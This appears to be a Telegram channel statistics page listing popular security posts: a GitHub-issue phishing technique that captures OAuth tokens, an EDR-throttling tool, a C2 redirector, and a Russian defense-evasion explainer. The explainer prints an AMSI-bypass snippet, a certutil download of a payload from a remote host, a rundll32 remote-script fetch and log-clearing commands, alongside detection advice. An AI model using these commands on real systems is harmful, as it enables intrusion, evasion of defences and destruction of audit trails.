All Security Engineering Courses

описание

This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!

← к каналу @AllSecurityEngineeringCourses

19 096

подписчиков

Охват к подписчикам

17,1%

ERR

Реакции к просмотрам

0,09%

135 на 41 постов

Пересылки к просмотрам

0,73%

1 060

Постов в день

0,1

всего 53

Где отзываются чаще

доля реакций к просмотрам

8 авг.🔥 Enterprise Network Penetration Testing — Hands-On Pentesting Book Ready to move beyond basic Nmap scans? 🛡 Learn how real enterprise security assessments work — from internal reconnaissance & network enumeration to Active Directory attacks, lateral movement, detection & professional reporting. 📚 205+ pages 🎯 53 chapters + 40+ diagrams 💻 Hands-on labs & practical workflows 🩸 Active Directory + BloodHound + Kerberos 🔵 Detection with Wazuh, Sysmon, Zeek & Suricata 📊 Professional pentest reporting & risk assessment Perfect for Pentesters, Red Teamers, SOC Analysts, Blue Teamers & Cybersecurity Students. 👉 Get the book: https://resources.codelivly.com/product/enterprise-network-penetration-testing/0,23%
16 июл. 2025 г.🐶 LudusHound This is a tool for red and blue teams that transforms BloodHound data into a fully functional, Active Directory replica environment via the Ludus framework for controlled testing. This tool can be used to replicate most AD objects and permissions or can be used to replicate a specific Attack Path. 🔗 Research: https://specterops.io/blog/2025/07/14/ludushound-raising-bloodhound-attack-paths-to-life/ 🔗 Source: https://gitlab.com/badsectorlabs/ludus #ad #bloodhound #ludus #replica0,22%
1 июн.The Phishy GitHub Issue Case As I’m interested in initial access, and more specifically in phishing, I started looking for ways to target developers. What platform every developers uses today? You guessed it right (or just correctly read the title of this blog post) : GitHub. It is advertised as “a platform to create, store, manage and share code”. Every developer has a GitHub account and getting access to it mean getting access to their code. However, I was looking for lesser-know phishing technique, that doesn’t employ the usual Attacker-in-The-Middle approach. I stumbled upon several articles mentioning Fake Security Alerts using GitHub issues. Naturally, I decide to take a look at what it was. So let’s see how to setup this scenario for your next phishing campaign! MalGitApp A simple OAuth App designed to capture OAuth tokens when users authenticate through GitHub OAuth flow.0,21%
19 нояб.без подписи0,21%
7 июн.EDRChoker Client–server EDRs have an inherent weakness: they must maintain server connectivity to be effective. When isolated from their server they lose much of their capability, and administrators can no longer collect or monitor logs from those agents. EDRChoker uses policy-based Quality of Service (QoS) to throttle EDR agents to the lowest bandwidth; when agents attempt to connect they will consistently time out due to the extremely low bandwidth. Blog: https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html In this article I present a technique for interfering with the client–server connection of an EDR. It’s different from EDR connection-blocking methods that use the Windows Firewall or the Windows Filtering Platform (WFP).0,21%
14 авг.https://www.udemy.com/course/free-learn-c-tutorial-beginners/0,21%
4 июл.Defense Evasion: как атакующий прячется от EDR и антивируса 👋 Приветствую в мире цифровой безопасности! Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе. ⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт. ⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти: $a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $b = $a.GetField('amsiInitFailed','NonPublic,Static') $b.SetValue($null,$true) После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше. ⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный: $proc = Get-Process -Name "explorer" # Дальше через WriteProcessMemory и CreateRemoteThread # внедряем shellcode в легитимный процесс Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса. ⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных: # Linux touch -r /bin/ls malicious_file stat malicious_file # Windows через PowerShell (Get-Item file.exe).CreationTime = "01/15/2020 10:00:00" Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью. ⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен: # Скачивание файла через certutil вместо curl certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe # Выполнение через rundll32 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct") certutil и rundll32 подписаны Microsoft и есть на каждой Windows-машине - антивирус не может просто заблокировать их целиком. ⏺Log clearing - чистим или отключаем логирование там где были: wevtutil cl Security wevtutil cl System # Linux > /var/log/auth.log history -c ⏺Детектируется через поведенческий анализ а не сигнатуры: аномальная работа с памятью легитимных процессов, вызов certutil с параметром urlcache, массовая очистка логов сразу после подозрительной активности, несоответствие timestamp файла и записей в MFT. Sysmon Event ID 1 (создание процесса) и 10 (доступ к памяти процесса) - основа для детекта большинства этих техник. ZeroDay | Серверная Админа | #defenseevasion0,20%
2 июл.Cloudflare-Redirector Domain fronting через CloudFlare с поддержкой разных #C2, нескольких доменов и вебсокета. #evasion #работягам Telegram ✉️ @freedomfox0,17%
16 апр. 2025 г.без подписи0,16%
14 окт. 2025 г.☠️ Kubernetes for Pentesters ☠️ A selection of articles on practical Kubernetes penetration testing: 👉 Kubernetes for Pentesters: Part 1 👉 A Pentester’s Approach to Kubernetes Security — Part 1 👉 A Pentester’s Approach to Kubernetes Security — Part 2 #red_team #kubernetes0,15%
6 авг. 2025 г.𝗠𝗮𝗹𝘄𝗮𝗿𝗲 𝗔𝗻𝗮𝗹𝘆𝘀𝗶𝘀 𝗦𝗲𝗿𝗶𝗲𝘀 (𝗠𝗔𝗦) 🐦‍🔥 🔗 Article 1 :- https://exploitreversing.com/wp-content/uploads/2021/12/mas_1_rev_1.pdf 🔗 Article 2 :- https://exploitreversing.com/wp-content/uploads/2022/02/mas_2.pdf 🔗 Article 3 :- https://exploitreversing.com/wp-content/uploads/2022/05/mas_3.pdf 🔗 Article 4 :- https://exploitreversing.com/wp-content/uploads/2022/05/mas_4.pdf 🔗 Article 5 :- https://exploitreversing.com/wp-content/uploads/2022/09/mas_5.pdf 🔗 Article 6 :- https://exploitreversing.com/wp-content/uploads/2022/11/mas_6-1.pdf 🔗 Article 7 :- https://exploitreversing.com/wp-content/uploads/2023/03/mas_7.pdf 🔗 Article 8 :- https://exploitreversing.com/wp-content/uploads/2024/08/mas_08-1.pdf 🔗 Article 9 :- https://exploitreversing.com/wp-content/uploads/2025/01/mas_09-1.pdf 🔗 Article 10 :- https://exploitreversing.com/wp-content/uploads/2025/01/mas_10.pdf @BlueTeamKit #malware #reversing #exploit0,15%
15 июл. 2025 г.без подписи0,14%